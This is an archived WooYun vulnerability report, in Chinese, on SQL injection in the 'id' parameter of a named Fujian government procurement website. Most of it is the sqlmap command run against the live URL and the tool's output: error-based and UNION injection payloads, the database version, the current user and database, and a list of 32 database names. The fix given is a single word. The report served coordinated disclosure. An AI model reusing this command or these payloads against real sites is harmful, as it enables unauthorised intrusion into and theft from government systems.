漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-044016
漏洞标题:福建省某政府网站存在SQL注射漏洞
相关厂商:福建省某政府
漏洞作者: Mr.leo
提交时间:2013-11-25 16:42
修复时间:2014-01-09 16:42
公开时间:2014-01-09 16:42
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:10
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-11-25: 细节已通知厂商并且等待厂商处理中
2013-11-28: 厂商已经确认,细节仅向厂商公开
2013-12-08: 细节向核心白帽子及相关领域专家公开
2013-12-18: 细节向普通白帽子公开
2013-12-28: 细节向实习白帽子公开
2014-01-09: 细节向公众公开
简要描述:
福建省某政府网站存在SQL注射漏洞
详细说明:
站点:
www.fjlyzfcg.gov.cn 龙岩政府采购网
id参数没有过滤,导致注射漏洞
sqlmap跑起来
http://www.fjlyzfcg.gov.cn/viewbody.cfm?id=25789" --dbs --current-user --current-db
[*] starting at 16:13:14
[16:13:14] [INFO] resuming back-end DBMS 'microsoft sql server'
[16:13:14] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=25789 AND 9427=CONVERT(INT,(CHAR(58)+CHAR(97)+CHAR(102)+CHAR(115
)+CHAR(58)+(SELECT (CASE WHEN (9427=9427) THEN CHAR(49) ELSE CHAR(48) END))+CHAR
(58)+CHAR(97)+CHAR(114)+CHAR(111)+CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 36 columns
Payload: id=25789 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
L, NULL, CHAR(58)+CHAR(97)+CHAR(102)+CHAR(115)+CHAR(58)+CHAR(99)+CHAR(75)+CHAR(8
1)+CHAR(116)+CHAR(106)+CHAR(88)+CHAR(116)+CHAR(71)+CHAR(76)+CHAR(114)+CHAR(58)+C
HAR(97)+CHAR(114)+CHAR(111)+CHAR(58)--
---
[16:13:14] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: ColdFusion, Apache
back-end DBMS: Microsoft SQL Server 2000
[16:13:14] [INFO] fetching current user
current user: '50user'
[16:13:14] [INFO] fetching current database
current database: 'lyzfcg'
[16:13:14] [INFO] fetching database names
[16:13:14] [INFO] the SQL query used returns 32 entries
available databases [32]:
[*] anxitdlz
[*] bosssoft
[*] bxzfcg
[*] clzfcg
[*] expert
[*] fjcgb_jx
[*] fjczNew
[*] fjjfjt
[*] fjzfcg
[*] fqzfcg
[*] fzcg
[*] fzzfcg
[*] gtzfcg
[*] HxReport_FQ
[*] HxReport_GD
[*] Hxreport_lj
[*] Hxreport_ST
[*] lycos85992
[*] lyzfcg
[*] lyzjk
[*] master
[*] mhzfcg
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] stwz
[*] tdlz
[*] tempdb
[*] xmtdlz
[*] zzzfcg
[*] zzzfcg2
漏洞证明:
available databases [32]:
[*] anxitdlz
[*] bosssoft
[*] bxzfcg
[*] clzfcg
[*] expert
[*] fjcgb_jx
[*] fjczNew
[*] fjjfjt
[*] fjzfcg
[*] fqzfcg
[*] fzcg
[*] fzzfcg
[*] gtzfcg
[*] HxReport_FQ
[*] HxReport_GD
[*] Hxreport_lj
[*] Hxreport_ST
[*] lycos85992
[*] lyzfcg
[*] lyzjk
[*] master
[*] mhzfcg
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] stwz
[*] tdlz
[*] tempdb
[*] xmtdlz
[*] zzzfcg
[*] zzzfcg2
修复方案:
过滤
版权声明:转载请注明来源 Mr.leo@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2013-11-28 22:35
厂商回复:
最新状态:
暂无